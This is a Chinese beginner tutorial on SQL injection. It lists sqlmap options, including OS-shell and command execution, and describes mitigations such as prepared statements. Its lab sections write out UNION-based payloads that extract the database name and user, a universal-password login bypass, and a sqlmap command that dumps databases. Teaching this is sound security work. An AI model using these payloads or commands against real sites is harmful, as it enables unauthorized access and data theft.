初级安全入门——SQL注入的原理与利用

2023-02-23,,

工具简介

SQLMAP: 一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供很多强大的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。
常见参数使用

--sql-shell 执行SQL命令
--OS-cmd 执行系统命令
--OS-shell 与系统Shell交互
-r 加载外部请求包
--data=DATA 通过POST发送数据字符串
--proxy=PROXY 使用HTTP代理链接到目标URL
--tamper=TAMPER 使用给定的脚本篡改注入数据
--current-user 获取当前用户名称
--current-db 获取当前数据库名称
--cookie 设置Cookie值
--dbs 列出所有数据库
--tables 列出数据库中的表

SQL注入的危害

1.绕过登录验证:使用万能密码登录网站后台等。
2.获取敏感数据:获取网站管理员帐号、密码等。
3.文件系统操作:列目录,读取、写入文件等。
4.注册表操作:读取、写入、删除注册表等。
5.执行系统命令:远程执行命令。

解决方案

1.过滤:通过对SQL关键字和关键符号的过滤来避免SQL注入漏洞的发生

优点
业务改动量小,部署方便,是安全防护软件/硬件常用的解决方案。
缺点
基于黑名单的工作原理,容易产生误报或被绕过。
2.编码:基于各类数据库定义的关键字和符号的转义规则将用户输入进行转义后组成SQL语句
优点
不影响正常请求且不容易被绕过,OWASP ESAPI项目提供了这种解决方案。
缺点
整改需要一定的工作量,需要数据库自身的支持,且理论上仍存在的绕过风险。
3.预编译:基于各种语言的预编译功能,先将SQL语句进行编译,用户输入的内容只会被当做参数传入,不会被编译为命令
优点
从根本上杜绝了SQL发生的可能性。
缺点
业务改动量大,建议新开发的项目均采用此种方式避免SQL注入攻击的产生。

实验一:通过sql注入获取当前数据库名和mysql登录名

若网站存在sql注入,且具有显示数据功能,那么我们可以通过拼接参数进行表的联合查询来盗取所需数据

构造sql查找回显位置:在url后面加上?id=-1' union select 1,2,3;--+得知回显位置为查询数据集的第二和第三列

构造sql查询当前数据库名和mysql登录名:在url后面加上?id=-1' union select 1,database(),user(); --+

实验二:使用万能密码登录具有sql注入漏洞的网站

万能密码1' or 1=1 limit 1; #(原理在于利用引号的闭合,or运算,以及注释#)登录

实验三:使用Sqlmap获取具有sql注入漏洞的网站的数据库信息(可进行拖库)

使用BurpSuite抓取报文

使用sqlmap -r /etc/test –dbs获取所有数据库名称

初级安全入门——SQL注入的原理与利用的相关教程结束。

《初级安全入门——SQL注入的原理与利用.doc》

下载本文的Word格式文档,以方便收藏与打印。